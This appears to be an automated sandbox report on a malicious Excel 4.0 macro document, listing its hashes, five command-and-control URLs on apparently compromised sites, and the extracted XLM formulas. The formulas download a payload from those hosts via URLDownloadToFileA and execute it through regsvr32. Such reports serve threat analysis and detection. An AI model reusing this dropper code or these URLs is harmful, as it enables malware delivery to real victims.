103ba9f15e2da46a4ff8be0e05b0a45c21a94a5a72d0042fe791b81a677f6787

General

Target

103ba9f15e2da46a4ff8be0e05b0a45c21a94a5a72d0042fe791b81a677f6787
Size

95KB
Sample

241120-22e4dsvenh
MD5

b8ef30e42daf23205594b91d18714f12
SHA1

f175735d8b57549094a99ceebb4a154e06fdf1d4
SHA256

103ba9f15e2da46a4ff8be0e05b0a45c21a94a5a72d0042fe791b81a677f6787
SHA512

fa5e670cf4e3c523516a297810da289f6c2882ba3d7cf6ae1433b841603a17777dee02bab5b9c2f6bfe84c05a43cd86cc137d6e4128d7faf2d64c780e460252d
SSDEEP

1536:sQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:s2318DsVhonV69o2bchgGaWBcpA+fw

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/

https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/

https://forfreeiptv.com/wp-admin/s5Oxoskqv8/

https://dehraduncabs.com/wp-includes/9xqp/

https://imprecof.com/i/QPWeAg0C1hh/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://forfreeiptv.com/wp-admin/s5Oxoskqv8/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dehraduncabs.com/wp-includes/9xqp/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://imprecof.com/i/QPWeAg0C1hh/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/

xlm40.dropper

https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/

xlm40.dropper

https://forfreeiptv.com/wp-admin/s5Oxoskqv8/